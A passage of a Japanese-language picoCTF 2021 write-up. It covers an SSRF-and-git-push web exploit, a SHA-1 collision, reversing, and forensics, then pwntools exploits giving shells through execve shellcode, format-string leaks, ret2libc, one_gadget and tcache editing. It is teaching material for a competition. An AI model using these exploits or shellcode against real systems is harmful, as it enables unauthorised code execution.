data = b'009b0000000000000000000000000000000000000000 45ca94d6d56ad7ce8894e361587a4ddea3041ce6 refs/heads/127.0.0.1:1823 \x02\x07&W\x06\xf7\'B\xd77F\x17GW2\x076\x96FR\xd6&\x16\xe6B\xd3cF\xb2\x07\x17V\x96WB\x06\x16vV\xe7C\xd6v\x97B\xf3"\xe3\x13\x12\xe3\x03\x03\x03\x03\x05\x04\x144\xb0\0 \x009jx\x9c+)JMU\xb0067HKM52H3\xb2H26\xb5L4\xb20I\xb34KJK2K3\xb142O4K41L2\xb7\xe0J,-\xc9\xc8/Rp\xca,\xc9(MW\xb0I->@J\xf4\x8d\xb2\x91\x89\xa1\x99\xa9\x91\x81\x91\x99\xa9\x92\x96\x81\xb0\x15w\'\xe6\xe6\xe6d\x94\x92\xa9Z\xb8<\xf32K2\x13s2\xab2\xf3\xd2\x15\x82\\\x1d]|]\xb9\x03\xc8\xa3\x17jRx\x9c340031Q\x87\'WO\x17]\\\xb4\xd6\x1e\x82\xb4\x9c\xb6#\x13_N\xa7\xfe\x0f\tU\xfe\x87\xa6\x9c]>\x03 \xc6\xdb\xcb\xab\xc2x\x9c\xe3RVV\x82\xe2\xd4\x82\xd5(NM.J-QpL\xc9\xcd\xccS\x84\xa2\xdc\x8e~*\xc9HUH\xcbILW\xc8,VHH\xe0 .p\xd9\xabn\x1b\x1eBU?\xa1y\x89\xbf\xdbQM\xc9\x9e\xda\xdae\xfb\x0f' req.post("http://127.0.0.1:1823/hoge/hoge.git/git-receive-pack", data=data, headers={"Cookie": "user-token=ec38a070-7361-4b61-8608-b338b1007be1", "Content-Type": "application/x-git-receive-pack-request"})
requestsbinで確認するとwebhookを送信できていることがわかります。
http://requestbin.net GET /r/e6d4t1qe?127.0.0.1:1823=
これでSSRFができるようになりました。次に_/${$user}.git
に自分のユーザー名が入った access.conf
を作ることを考えます。
git-receive-pack
の内容はcommitにのみ依存するようで、何もpushされてないrefs/meta/config
に access.conf
をpushする時に送る内容はどの時でも同一です。
Docker内に入って、repo/_/${user}.git
内でこのような操作を行います。
git checkout --orphan hoge git rm --cached README.md # README.mdに依存させない git add access.conf && git commit -m "hoge" git push origin @:refs/meta/config
送信された内容をログから読みます。これを/_/${user}.git/git-receive-pack
にpushします。
import requests as req from time import sleep ses = req.Session() # URL = "http://127.0.0.1:1823/" URL = "http://venus.picoctf.net:54049/" data = b'009b0000000000000000000000000000000000000000 45ca94d6d56ad7ce8894e361587a4ddea3041ce6 refs/heads/127.0.0.1:1823 \x02\x07&W\x06\xf7\'B\xd77F\x17GW2\x076\x96FR\xd6&\x16\xe6B\xd3cF\xb2\x07\x17V\x96WB\x06\x16vV\xe7C\xd6v\x97B\xf3"\xe3\x13\x12\xe3\x03\x03\x03\x03\x05\x04\x144\xb0\0 \x009jx\x9c+)JMU\xb0067HKM52H3\xb2H26\xb5L4\xb20I\xb34KJK2K3\xb142O4K41L2\xb7\xe0J,-\xc9\xc8/Rp\xca,\xc9(MW\xb0I->@J\xf4\x8d\xb2\x91\x89\xa1\x99\xa9\x91\x81\x91\x99\xa9\x92\x96\x81\xb0\x15w\'\xe6\xe6\xe6d\x94\x92\xa9Z\xb8<\xf32K2\x13s2\xab2\xf3\xd2\x15\x82\\\x1d]|]\xb9\x03\xc8\xa3\x17jRx\x9c340031Q\x87\'WO\x17]\\\xb4\xd6\x1e\x82\xb4\x9c\xb6#\x13_N\xa7\xfe\x0f\tU\xfe\x87\xa6\x9c]>\x03 \xc6\xdb\xcb\xab\xc2x\x9c\xe3RVV\x82\xe2\xd4\x82\xd5(NM.J-QpL\xc9\xcd\xccS\x84\xa2\xdc\x8e~*\xc9HUH\xcbILW\xc8,VHH\xe0 .p\xd9\xabn\x1b\x1eBU?\xa1y\x89\xbf\xdbQM\xc9\x9e\xda\xdae\xfb\x0f' pack = 'MDA5NDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAgMTFlMmJjN2M2MzRhY2UwYzMwMjBjZWFhZTE2MjBlMzUwMzBlYzJjNiByZWZzL21ldGEvY29uZmlnACByZXBvcnQtc3RhdHVzIHNpZGUtYmFuZC02NGsgYWdlbnQ9Z2l0LzIuMTEuMDAwMDBQQUNLAAAAAgAAAAOXCXiclctBCoAgEEDRvaeYfRCNpo4QEd0kc8wWIcR0/6Qb9Ddv9eVmBsyb4RyQs86RtCU0iXxAcjyalHzQ3lqKu9oeKfWG9ZTyHDDFz6XRN2dAh240OHiEbmipvV7XKcI/FlXqweoFfOwsYKcCeJwzNDAwMzFRSExOTi0u1kvOz0tjUEq6xyMkr3S/r+Lr4to8Qf/LSgc2AAD2/A6ENXicy8hPT+UCAAXSAa5ZPDrsh7YOhBgGdgO7iUircHOhcA==' ses.post(URL+"api/register", json={"user": "hoge", "password": "hoge"}) sleep(1) ses.post(URL+"api/login", json={"user": "hoge", "password": "hoge"}) sleep(1) ses.post(URL+"api/repo/create", json={"name": "hoge", "initializeReadme": True}) sleep(1) print(ses.post(URL+"hoge/hoge.git/webhooks", json={ "url":"http://{{branch}}/_/hoge.git/git-receive-pack", "body":pack, "contentType":"application/x-git-receive-pack-request" })) sleep(1) print(ses.post(URL+"hoge/hoge.git/git-receive-pack", data=data, headers = {"Content-Type":"application/x-git-receive-pack-request"})) sleep(1) print(ses.get(URL+"_/hoge.git/api/readme?ref=refs/heads/master").text)
picoCTF{good_job_at_gitting_good}
Writeup書くときに非常に困るから対話モードのまま解くのは...やめようね!スクリプトを...書こうね!
Cryptography
It is my Birthday 2 [170 points]
SHA-1が衝突した二枚のPDFを送ればフラグが手に入ります。しかし、後半1000 bytesは配布されたpdfと同一でなければいけません。
ヒントにhttps://shattered.io/があるので見てみると、Googleが発見したPDFのSHA-1を衝突させる方法らしいです。チームメイトが資料を色々と漁ってくれた結果、巷で話題のGoogleのSHA-1衝突やってみたがとても分かりやすかったです。詳しくはその記事を見て下さい。
SHA-1は前半が衝突しているなら後半は何を入れても衝突するような性質を持つようです。https://shattered.io/にある衝突したPDFを使い、2枚目のJPGが終わったところで残りに配布されたPDFの後半をPDFとして正しいように貼り付ければ条件を達成できそうです。
radare2やpeepdf.pyで確認しながら良い感じのオフセットを探します。
shattered1 = open("shattered-1.pdf", "rb").read() shattered2 = open("shattered-2.pdf", "rb").read() invite = open("invite.pdf", "rb").read() open("pair-1.pdf", "wb").write(shattered1[:0x00066f8f] + invite[0x0021e5ad:]) open("pair-2.pdf", "wb").write(shattered2[:0x00066f8f] + invite[0x0021e5ad:])
picoCTF{h4ppy_b1rthd4y_2_m3_96ee9031}
Pixelated [200 points]
二枚のサイズが同じなPNGが渡されます。
試しにXORしてみると何か出てきたので強調してみるとフラグでした。
from PIL import Image, ImageDraw image1 = Image.open("./scrambled1.png") image2 = Image.open("./scrambled2.png") img = Image.new("RGB", (512, 512), (255, 255, 255)) draw = ImageDraw.Draw(img) w, h = image1.size for y in range(h): for x in range(w): r1, g1, b1 = image1.getpixel((x, y)) r2, g2, b2 = image2.getpixel((x, y)) draw.point((x, y), (r1 ^ r2, g1 ^ g2, b1 ^ b2)) for y in range(h): for x in range(w): r1, g1, b1 = img.getpixel((x, y)) draw.point((x, y), ((r1 == 255)*255, (g1 == 255)*255, (b1 == 255)*255)) img.show()
Reverse Engineering
Hurry up! Wait! [100 points]
exeファイルが渡されますが、fileコマンドで見てみると64bit ELFです。
実行すると、libgnat-7.so.1
が見つからないと言われます。調べてみると、Adaというプログラミング言語のコンパイラで使うライブラリのようです。
gnatをインストールし、再度実行してもエラーは出ませんが何も起こらず止まってしまいます。
radare2で見てみると、main関数から呼ばれているfcn.0000298aが目に止まります。
┌ 157: fcn.0000298a (); │ 0x0000298a 55 push rbp │ 0x0000298b 4889e5 mov rbp, rsp │ 0x0000298e 48bf0080c6a4. movabs rdi, 0x38d7ea4c68000 │ 0x00002998 e8d3f1ffff call sym.imp.ada__calendar__delays__delay_for │ 0x0000299d e874fcffff call fcn.00002616 │ 0x000029a2 e803fbffff call fcn.000024aa │
sym.imp.ada__calendar__delays__delay_for
関数で止まってしまうようです。nopで置き替えて無効にするとフラグが得られました。
picoCTF{d15a5m_ftw_dfbdc5d}
Let's get dynamic [150 points]
chall.Sが渡されます。
.file "chall.c" .text .section .rodata .align 8 .LC0: .string "Correct! You entered the flag." .LC1: .string "No, that's not right." .text .globl main .type main, @function main: .LFB5: .cfi_startproc pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 movq %rsp, %rbp .cfi_def_cfa_register 6 pushq %rbx subq $296, %rsp .cfi_offset 3, -24 movl %edi, -292(%rbp) movq %rsi, -304(%rbp) movq %fs:40, %rax movq %rax, -24(%rbp) xorl %eax, %eax movabsq $-7160114087250758469, %rax movabsq $-825839388689912643, %rdx movq %rax, -144(%rbp) movq %rdx, -136(%rbp) movabsq $786526249160737541, %rax movabsq $1941996132093932715, %rdx movq %rax, -128(%rbp) movq %rdx, -120(%rbp) movabsq $3365698418351740687, %rax movabsq $-5505454904125705114, %rdx movq %rax, -112(%rbp) movq %rdx, -104(%rbp) movw $71, -96(%rbp) movabsq $-868798388209479720, %rax movabsq $-5191480482471358526, %rdx movq %rax, -80(%rbp) movq %rdx, -72(%rbp) movabsq $5880709399953698610, %rax movabsq $7263502779513195921, %rdx movq %rax, -64(%rbp) movq %rdx, -56(%rbp) movabsq $5038436924259389539, %rax movabsq $-4931180023697917848, %rdx movq %rax, -48(%rbp) movq %rdx, -40(%rbp) movw $25, -32(%rbp) movq stdin(%rip), %rdx leaq -208(%rbp), %rax movl $49, %esi movq %rax, %rdi call fgets@PLT movl $0, -276(%rbp) jmp .L2 .L3: movl -276(%rbp), %eax cltq movzbl -144(%rbp,%rax), %edx movl -276(%rbp), %eax cltq movzbl -80(%rbp,%rax), %eax xorl %eax, %edx movl -276(%rbp), %eax xorl %edx, %eax xorl $19, %eax movl %eax, %edx movl -276(%rbp), %eax cltq movb %dl, -272(%rbp,%rax) addl $1, -276(%rbp) .L2: movl -276(%rbp), %eax movslq %eax, %rbx leaq -144(%rbp), %rax movq %rax, %rdi call strlen@PLT cmpq %rax, %rbx jb .L3 leaq -272(%rbp), %rcx leaq -208(%rbp), %rax movl $49, %edx movq %rcx, %rsi movq %rax, %rdi call memcmp@PLT testl %eax, %eax je .L4 leaq .LC0(%rip), %rdi call puts@PLT movl $0, %eax jmp .L6 .L4: leaq .LC1(%rip), %rdi call puts@PLT movl $1, %eax .L6: movq -24(%rbp), %rcx xorq %fs:40, %rcx je .L7 call __stack_chk_fail@PLT .L7: addq $296, %rsp popq %rbx popq %rbp .cfi_def_cfa 7, 8 ret .cfi_endproc .LFE5: .size main, .-main .ident "GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0" .section .note.GNU-stack,"",@progbits
よくわからないのでとりあえずコンパイルしてradare2で見てみます。
0x000012fa e861fdffff call sym.imp.memcmp
memcmpが行われているようなのでそこをgdbで見てみます。
Starting program: Breakpoint 1, 0x00005555555552fa in main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────── RAX 0x7fffffffe1e0 ◂— 0xa65676f68 /* 'hoge\n' */ RBX 0x31 RCX 0x7fffffffe1a0 ◂— 0x7b4654436f636970 ('picoCTF{') RDX 0x31 RDI 0x7fffffffe1e0 ◂— 0xa65676f68 /* 'hoge\n' */ RSI 0x7fffffffe1a0 ◂— 0x7b4654436f636970 ('picoCTF{') R8 0x7fffffffe1e0 ◂— 0xa65676f68 /* 'hoge\n' */ R9 0x7c R10 0x7ffff7fb1be0 (main_arena+96) —▸ 0x5555555596a0 ◂— 0x0 R11 0x246 R12 0x555555555090 (_start) ◂— endbr64 R13 0x7fffffffe3a0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffe2b0 ◂— 0x0 RSP 0x7fffffffe180 —▸ 0x7fffffffe3a8 —▸ 0x7fffffffe5f0 RIP 0x5555555552fa (main+385) ◂— call 0x555555555060 ───────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────── ► 0x5555555552fa <main+385> call memcmp@plt <memcmp@plt> s1: 0x7fffffffe1e0 ◂— 0xa65676f68 /* 'hoge\n' */ s2: 0x7fffffffe1a0 ◂— 0x7b4654436f636970 ('picoCTF{') n: 0x31 0x5555555552ff <main+390> test eax, eax 0x555555555301 <main+392> je main+413 <main+413> 0x555555555303 <main+394> lea rdi, [rip + 0xcfe] 0x55555555530a <main+401> call puts@plt <puts@plt> 0x55555555530f <main+406> mov eax, 0 0x555555555314 <main+411> jmp main+430 <main+430> 0x555555555316 <main+413> lea rdi, [rip + 0xd0a] 0x55555555531d <main+420> call puts@plt <puts@plt> 0x555555555322 <main+425> mov eax, 1 0x555555555327 <main+430> mov rcx, qword ptr [rbp - 0x18] ───────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffe180 —▸ 0x7fffffffe3a8 —▸ 0x7fffffffe5f0 01:0008│ 0x7fffffffe188 ◂— 0x100000340 02:0010│ 0x7fffffffe190 ◂— 0x34000000340 03:0018│ 0x7fffffffe198 ◂— 0x3100000340 04:0020│ rcx rsi 0x7fffffffe1a0 ◂— 0x7b4654436f636970 ('picoCTF{') 05:0028│ 0x7fffffffe1a8 ◂— 0x5f63316d346e7964 ('dyn4m1c_') 06:0030│ 0x7fffffffe1b0 ◂— 0x5f7331796c346e34 ('4n4ly1s_') 07:0038│ 0x7fffffffe1b8 ◂— 0x72337075355f7331 ('1s_5up3r') ─────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────── ► f 0 5555555552fa main+385 f 1 7ffff7ded0b3 __libc_start_main+243 ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x/s 0x7fffffffe1a0 0x7fffffffe1a0: "picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}\003"
フラグが取れてしまいました。
picoCTF{dyn4m1c_4n4ly1s_1s_5up3r_us3ful_56e35b54}
Forensics
Wireshark doo dooo do doo... [50 points]
pcapが渡されます。HTTPで絞って適当に見ていったらROT13されたフラグが書かれていました。
picoCTF{p33kab00_1_s33_u_deadbeef}
Wireshark twoo twooo two twoo... [100 points]
pcapが渡されます。言い訳をすると、公式Discordはどんな感じかなと見ていたら直球なヒントを見かけてしまったんです...
DNSタブを見ろというヒントだったのでDNSで絞ってみると、確かに英数字八文字.reddshrimpandherring.com
という問い合わせを大量に送っていることが確認できます。
ほぼすべてが8.8.8.8
に向けてリクエストをしていますが、18.217.1.57
に問い合わせしているのをいくつか見かけたのでdns && ip.addr==18.217.1.57 && dns.flags==0x8183
で絞ってみます。(0x8183は問い合わせに対するレスポンスの番号)
すると、問い合わせしている英数字8文字のサブドメインの部分がbase64文字列っぽいことに気が付きます。
古い方から順にサブドメインを取っていき、繋げてbase64 -dするとフラグが出てきます。
picoCTF{dns_3xf1l_ftw_deadbeef}
Binary Exploitation
Binary Gauntlet 0 [10 points]
AAAAAAAAAAAAAAAAA...って送ってたらフラグが手に入りました。(多分BOFが条件)
790e8018012932e9d49f9b323123f708
注意無しにフラグフォーマットを破るな高校に怒られそう。(最初は注意されてなかったはず)
Stonks [20 points]
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <time.h> #define FLAG_BUFFER 128 #define MAX_SYM_LEN 4 typedef struct Stonks { int shares; char symbol[MAX_SYM_LEN + 1]; struct Stonks *next; } Stonk; typedef struct Portfolios { int money; Stonk *head; } Portfolio; int view_portfolio(Portfolio *p) { if (!p) { return 1; } printf("\nPortfolio as of "); fflush(stdout); system("date"); // TODO: implement this in C fflush(stdout); printf("\n\n"); Stonk *head = p->head; if (!head) { printf("You don't own any stonks!\n"); } while (head) { printf("%d shares of %s\n", head->shares, head->symbol); head = head->next; } return 0; } Stonk *pick_symbol_with_AI(int shares) { if (shares < 1) { return NULL; } Stonk *stonk = malloc(sizeof(Stonk)); stonk->shares = shares; int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1; for (int i = 0; i <= MAX_SYM_LEN; i++) { if (i < AI_symbol_len) { stonk->symbol[i] = 'A' + (rand() % 26); } else { stonk->symbol[i] = '\0'; } } stonk->next = NULL; return stonk; } int buy_stonks(Portfolio *p) { if (!p) { return 1; } char api_buf[FLAG_BUFFER]; FILE *f = fopen("api","r"); if (!f) { printf("Flag file not found. Contact an admin.\n"); exit(1); } fgets(api_buf, FLAG_BUFFER, f); int money = p->money; int shares = 0; Stonk *temp = NULL; printf("Using patented AI algorithms to buy stonks\n"); while (money > 0) { shares = (rand() % money) + 1; temp = pick_symbol_with_AI(shares); temp->next = p->head; p->head = temp; money -= shares; } printf("Stonks chosen\n"); // TODO: Figure out how to read token from file, for now just ask char *user_buf = malloc(300 + 1); printf("What is your API token?\n"); scanf("%300s", user_buf); printf("Buying stonks with token:\n"); printf(user_buf); // TODO: Actually use key to interact with API view_portfolio(p); return 0; } Portfolio *initialize_portfolio() { Portfolio *p = malloc(sizeof(Portfolio)); p->money = (rand() % 2018) + 1; p->head = NULL; return p; } void free_portfolio(Portfolio *p) { Stonk *current = p->head; Stonk *next = NULL; while (current) { next = current->next; free(current); current = next; } free(p); } int main(int argc, char *argv[]) { setbuf(stdout, NULL); srand(time(NULL)); Portfolio *p = initialize_portfolio(); if (!p) { printf("Memory failure\n"); exit(1); } int resp = 0; printf("Welcome back to the trading app!\n\n"); printf("What would you like to do?\n"); printf("1) Buy some stonks!\n"); printf("2) View my portfolio\n"); scanf("%d", &resp); if (resp == 1) { buy_stonks(p); } else if (resp == 2) { view_portfolio(p); } free_portfolio(p); printf("Goodbye!\n"); exit(0); }
FSBがあるので%p%p%p...
でAPIをleakします。CyberChefの自作レシピが便利です(宣伝)
picoCTF{I_l05t_4ll_my_m0n3y_bdc425ea}
Binary Gauntlet 1 [30 points]
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
Ghidraにかけるとこんな感じになりました。
undefined8 main(undefined8 argc, char **argv) { char **var_80h; int64_t var_74h; char *format; var_74h._0_4_ = (undefined4)argc; format = (char *)malloc(1000); printf(0x4007d4, (int64_t)&var_74h + 4); fflush(_reloc.stdout); fgets(format, 1000, _reloc.stdin); format[999] = '\x00'; printf(format); fflush(_reloc.stdout); fgets(format, 1000, _reloc.stdin); format[999] = '\x00'; strcpy((int64_t)&var_74h + 4, format, format); return 0; }
stackのアドレスをくれた後にFSBとBOFがありますね。NX disabledなのでshellstormからシェルコード見つけてBOFでシェルコードに飛ばします。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./gauntlet" # libc = "/lib/x86_64-linux-gnu/libc.so.6" # libc = "./libc.so.6" nc = "nc mercury.picoctf.net 19968" command = ''' b *0x0040074e c ''' chall = ELF(file) io = get_io() io.recvuntil("0x") stack_leak = int(io.recvline(), 16) io.sendline() shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload = b"" payload += shellcode payload += b"A"*(120 - len(payload)) payload += p64(stack_leak) print(payload) io.sendline(payload) io.interactive()
7504344981b9288c5669150ada84894e
What's your input? [50 points]
#!/usr/bin/python2 -u import random cities = open("./city_names.txt").readlines() city = random.choice(cities).rstrip() year = 2018 print("What's your favorite number?") res = None while not res: try: res = input("Number? ") print("You said: {}".format(res)) except: res = None if res != year: print("Okay...") else: print("I agree!") print("What's the best city to visit?") res = None while not res: try: res = input("City? ") print("You said: {}".format(res)) except: res = None if res == city: print("I agree!") flag = open("./flag").read() print(flag) else: print("Thanks for your input!")
city_names.txtからランダムに一つ読み込まれるので、それを当てられたらフラグが貰えます。city_names.txtも与えられてないので総当たりも無理です。
ヒントにはWhat version of python am I running?
と書かれていまさいた。Python2特有の脆弱性があるのでしょうか。
format関数かなと思って調べたけど出てきませんでした。ではprint関数?と思いpython2 print vulnerability
で調べてみると Vulnerability in input() function – Python 2.xという記事が出てきました。
Python2のinput関数は変数の名前を入力すると変数の参照を返すという仕様らしいです。知らなかった。
二回目の入力でcity
と入れるとres = city
となりフラグが手に入ります。PwnじゃなくてMiscだけど好き。
picoCTF{v4lua4bl3_1npu7_7607377}
Binary Gauntlet 2 [50 points]
今度はスタックのアドレスをくれなくなりました。だけどFSBがあるのでleakには事欠かさないですね。%6$p
にスタックのアドレスがあるので良い感じにオフセットを調整して終わりです。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./gauntlet" # libc = "/lib/x86_64-linux-gnu/libc.so.6" # libc = "./libc.so.6" nc = "nc mercury.picoctf.net 49704" command = ''' b _start b *0x004006d5 b *0x00400726 c ''' chall = ELF(file) io = get_io() ret_addr = 7 leaked_stack_addr = 50 io.sendline("%6$p") leak = int(io.recvline()[2:], 16) log.info(f"leak: {leak:x}") buf_addr = leak - (leaked_stack_addr - ret_addr) * 8 log.info(f"buf: {buf_addr:x}") shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload = b"" payload += shellcode payload += b"A"*(0x78 - len(payload)) payload += p64(buf_addr) io.sendline(payload) io.interactive()
230fc5c335f1fe302abdc387d498fe40
Cache Me Outside [70 points]
バイナリとlibcが渡されます。libc dbでldをダウンロードして、patchelfでldを適切なものに変更しないと動きません。(不親切すぎないか)
// flag @ rbp-0x50 // random_string @ rbp - 0x70 fgets(flag, 0x40, fopen("flag.txt", "r")); strcpy(random_string, "this is a random string."); first = 0; for (int i = 0; i < 7; i++) { ptr = malloc(0x80); if (first == 0) fisrt = ptr; strcpy(ptr, "Congrats! Your flag is: "); strcat(ptr, flag); } B = malloc(0x80); strcpy(B, "Sorry! This won't help you : "); strcat(B, random_string); free(ptr); free(B); scanf("%d", addr); scanf("%c", value); first[addr] = value; result = malloc(0x80); puts(*(result+0x10));
8回mallocした後にheap上の1byteを任意に操作でき、次にfreeが二回呼ばれます。最後にmallocが一回走ってその内容を表示して終わる感じです。
freeしたchunkはtcacheに格納されるのでtcache_entry
を操作すればいいですね。ローカルでは-1560
に\x08
を代入するとフラグが見れましたが、リモートで成功しませんでした。(原因が未だにわからない)
かなり悩みましたが、最終手段 †ブルートフォース† を用いることに決めました。
まず二分探索でheap baseを求め、そこから4bytesずつ下がるようにブルートフォースしました。
from pwn import * import sys import re import time context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./heapedit" # libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = "./libc.so.6" nc = "nc mercury.picoctf.net 34499" command = ''' b *0x00400a4a b *0x00400a24 c ''' chall = ELF(file) def is_ok(mid): print(mid) io = get_io() io.recvline() io.sendlineafter("Address: ", str(-mid)) io.sendlineafter("Value: ", "\x02") result = io.recvline() if result == b"t help you: this is a random string.\n": return True else: if result != b'timeout: the monitored command dumped core\n': print(mid, result) return False io.close() sleep(3) def bisect(ng, ok): while (abs(ok - ng) > 1): mid = (ok + ng) // 2 if is_ok(mid): ok = mid else: ng = mid return ok # print(bisect(100000, 0)) heap_base = 5280 for i in range(0, 0x100, 4): print(-heap_base+i) io = get_io() io.recvline() io.sendlineafter("Address: ", str(-heap_base+i)) io.sendlineafter("Value: ", "\x02") result = io.recvline() print(result) if result != b"t help you: this is a random string.\n": print(-heap_base+i, result) io.close() sleep(3)
しばらく待つと-5144
でヒットしました。(こんな解法でいいのだろうか)
picoCTF{ea0e7e8e8c7bf85caa6601f3dae7ce26}
Binary Gauntlet 3 [80 points]
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000)
今度はNX enabledです。シェルコードは実行できないのでROPする必要がありますね。FSBでlibc leakしてROPでsystem("/bin/sh")するいつものやつで終わりそうです。(と書いたけど、よく見たらone gadgetを使っていました(何故...))
だけどlibcが与えられない(は???)のでlibc baseが求められないです。
また、libc databaseにかけてもヒットしませんでした(は????)
そのため、Binary Gauntlet 2
と同じlibc使ってるだろとguessしての前回取ったシェルからlibcをダウンロードして使いました(は?????)
う~~~~んクソ!
from pwn import * import sys import re context.terminal = ["wterminal"] context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./gauntlet" # libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = "./libc.so.6" nc = "nc mercury.picoctf.net 22595" command = ''' b _start b *0x004006d5 b *0x00400726 c ''' chall = ELF(file) libc = ELF(libc) io = get_io() io.sendline("%23$p %6$p") results = io.recvline().rstrip().split() libc_leak = int(results[0][2:], 16) stack_leak = int(results[1][2:], 16) libc.address = libc_leak - (libc.sym["__libc_start_main"] + 231) log.info(f"libc: {libc.address:x}") ret_addr = 7 leaked_stack_addr = 50 buf_addr = stack_leak - (leaked_stack_addr - ret_addr) * 8 log.info(f"buf: {buf_addr:x}") one_gadget = 0x4f432 payload = b"" payload += b"A"*(0x78 - len(payload)) payload += p64(libc.address + one_gadget) io.sendline(payload) io.interactive()
ca4593c0678903b464ed666fa4a9f676
Here's a LIBC [90 points]
$ ./vuln WeLcOmE To mY EcHo sErVeR! hoge HoGe hoge HoGe fuadhfsia FuAdHfSiA
こんな感じのプログラムとlibcが渡されます。do_stuff関数にBOFがあるのでGOTからlibc leakしてret2vulnしてsystem("/bin/sh")して終わりです。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "amd64" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./vuln" # libc = "/lib/x86_64-linux-gnu/libc.so.6" libc = "./libc.so.6" nc = "nc mercury.picoctf.net 49464" command = ''' b *0x00400770 c ''' chall = ELF(file) libc = ELF(libc) io = get_io() io.recvuntil("WeLcOmE To mY EcHo sErVeR!\n") pop_rdi = 0x0000000000400913 ret = 0x000000000040052e payload = b"" payload += b"A" * 0x88 payload += p64(pop_rdi) payload += p64(chall.got["puts"]) payload += p64(chall.plt["puts"]) payload += p64(chall.sym["do_stuff"]) io.sendline(payload) io.recvline() libc_leak = u64(io.recvline().rstrip().ljust(8, b"\x00")) libc.address = libc_leak - libc.sym["puts"] log.info(f"libc: {libc.address:x}") payload = b"" payload += b"A" * 0x88 payload += p64(ret) payload += p64(pop_rdi) payload += p64(next(libc.search(b"/bin/sh\x00"))) payload += p64(libc.sym["system"]) io.sendline(payload) io.interactive()
filtered-shellcode [160 points]
32bit ELF。Reversingが面倒くさいのでgdbで処理を把握しました。
入力したシェルコードを2bytesずつ区切って、間にnopを二回挟んで実行してくれるプログラムです。
例えば\xde\xad\xbe\xef
を入力すると、\xde\xad\x90\x90\xbe\xef\x90\x90
というシェルコードが実行されます。全命令が2byteに収まるようにすると崩れずに実行できて良さそうですね。
また、加工されたシェルコードとは別に生の入力もスタック上に確保されているので、どうにかしてEIPをそこに飛ばせば自由にシェルコードを実行できそうです。
適当にデバッグした結果、シェルコードが始まるアドレス(esp)+167に生の入力が確保されることがわかりました。
ここで考えたペイロードはmov eax, esp; add al,(167-ペイロードの長さ); jmp eax;
ですが、add al
は繰り上がりを足してくれないのでかなりの確率で失敗します。(総当たりできなくもないのでここでガチャした方が楽だったな)
そこでadd eax
やadd ax
を思いつきましたが、これらはどうしても3byte以上になってしまいます。
ここで間に入れられるnopを使うことを思いつきました。
add eax, 0x909090b7; nop
は\x05\xb7\x90\x90\x90; \x90
となりますが、これにnopを挟まれると\x05\xb7\x90\x90\x90\x90\x90\x90\x90\x90
となり、これはadd eax,0x909090b7;nop*5
と問題なく実行できます。この次にsub eax,0x90909000
という命令が実行されればadd eax, 0xb7
が達成できますね。
from pwn import * import sys import re context.terminal = "wterminal" context.arch = "i386" def get_io(): if len(sys.argv) > 1 and sys.argv[1] == "debug": io = gdb.debug(file, command) elif len(sys.argv) > 1 and sys.argv[1] == "remote": _, domain, port = nc.split() io = remote(domain, int(port)) else: io = process(file) return io file = "./fun" # libc = "/lib/x86_64-linux-gnu/libc.so.6" # libc = "./libc.so.6" nc = "nc mercury.picoctf.net 28494" command = ''' b *0x080485c9 c ''' chall = ELF(file) io = get_io() payload = b"" # set eax = esp + 167-8 payload += asm("mov eax,esp") payload += asm("add eax,0x909090b7; nop;") payload += asm("sub eax,0x90909000; nop;") # jump eax payload += asm("jmp eax") payload += asm(f""" mov ebx,{chall.bss()} mov eax, 0x6e69622f mov DWORD PTR [ebx], eax mov eax, 0x0068732f mov DWORD PTR [ebx+4], eax xor ecx,ecx xor edx,edx xor eax,eax mov al,0xb int 0x80 """) io.sendlineafter("Give me code to run:\n", payload) io.interactive()
Stonk Market [180 points]
